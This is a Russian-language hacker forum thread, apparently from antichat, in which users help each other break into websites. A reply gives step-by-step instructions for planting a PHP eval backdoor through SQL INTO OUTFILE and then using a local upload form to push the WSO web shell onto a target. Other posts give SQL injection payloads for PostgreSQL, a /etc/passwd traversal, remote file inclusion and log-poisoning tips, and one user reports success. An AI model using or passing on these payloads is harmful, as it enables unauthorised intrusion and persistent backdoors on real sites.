Ваши вопросы по уязвимостям.

Искать другие способы загрузки файка. Кавычки экранизируются, заюзать инто оутфайл и инто дампфайл не выйдет. Прийдется искать либо админку, если есть возможность залить с нее - все ок, если нет - ищи другие баги, но не факт, что найдешь..

 

outfile работает, но экранируется, админка на все есть.. нужно файл както залить, лью через пхпмайадм

 

что экранируется? Ты хотя бы <?phpinfo();?> можешь залить? Будет показываться phpinfo() ?

 

омг, что значит работает, но екранизируется?
что экранизируеться?
излагай проблему подробно, дабы тебе смогли помочь.

 

да, можно... кмд шел даже залил
там стоит
magic_quotes_sybase = On
добавляются \ в кавычках, я писал выше

 

Если работает outfile, но файл не прочитать - может просто-напросто прав на чтение нет в этот каталог? О_о

Или то, что записывается - просто глюк.

 

записывается, но когда пытаюсь wso залить шел, ошибки
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in ..\..\..\..\results.php on line 1
итд

 

Покажи запрос, которым заливаешь. Возможно, лишний слеш поставил.

 

тогда лей wso без html-вставок, последняя версия:

https://forum.antichat.ru/threadedpost1624918.html#post1624918

1. Заливаешь такой шелл:

<?eval(stripslashes($_GET[e]));?>

2. Проверяешь:

Code:

http://site.com/имя_твоего_шелла&e=phpinfo();

или

Code:

http://site.com/имя_твоего_шелла?e=phpinfo();

по разному бывает

3. У себя на компе такую локальную форму творишь (обзываешь .html):

Code:

<form action=http://site.com/имя_твоего_шелла&e=copy($_FILES[file][tmp_name],$_GET[aa]);&aa=/www/тут_полный_абсолютный_путь_до_папки_с_правами_на_запись/shell.php
 method=post enctype=multipart/form-data>
<input type=file name=file><br> 
<input type=submit value=Загрузить><br>
</form>

4. Запускаешь и льешь wso, всё

 

SELECT 'код шелла' FROM `table` INTO OUTFILE 'путь'

 

Pashkela.
Спасибо, получилось

 

Code:

ERROR: UNION types double precision and character varying cannot be matched

БД: PostgreSql. Как проводить запросы в таком случае ?

 

в PG в union надо соблюсти не только количество полей но и их типы

 

я cast() уже перепробовал.Какой конкретный запрос ?

1+union+select+table_name+from+information_schema.tables+limit+1+offset+1----

Вышла такая хня.В ascii переводить чтоли.

 

1;select+table_name::text::int+from+information_schema. tables

 

Привет!
Подскажите плз, почему не пашет РФИ?
script.php?bla=../../../etc/passwd
ВСЕ ОК, а рфи не провелица:

script.php?bla=ftp://loginwd@host/shell.php

Помогите плз.

 

Тебе никто не даст точного ответа.
Слишком мало информации даешь.
Может быть несколько вариантов, почему не пашет:
1. отключен удаленный инклуд
2. невозможн рфи потому что в скрипте инклудится include("some_dir/".$bla)

 

Или на http и ftp проверка.

Пробуй через логи.

 

Что значит "Через логи" ?
Можна поподробнее?

 

Это значит записать в лог об ошибках код на подобии <? phpinfo(); die(); ?> и проинклюдить файл.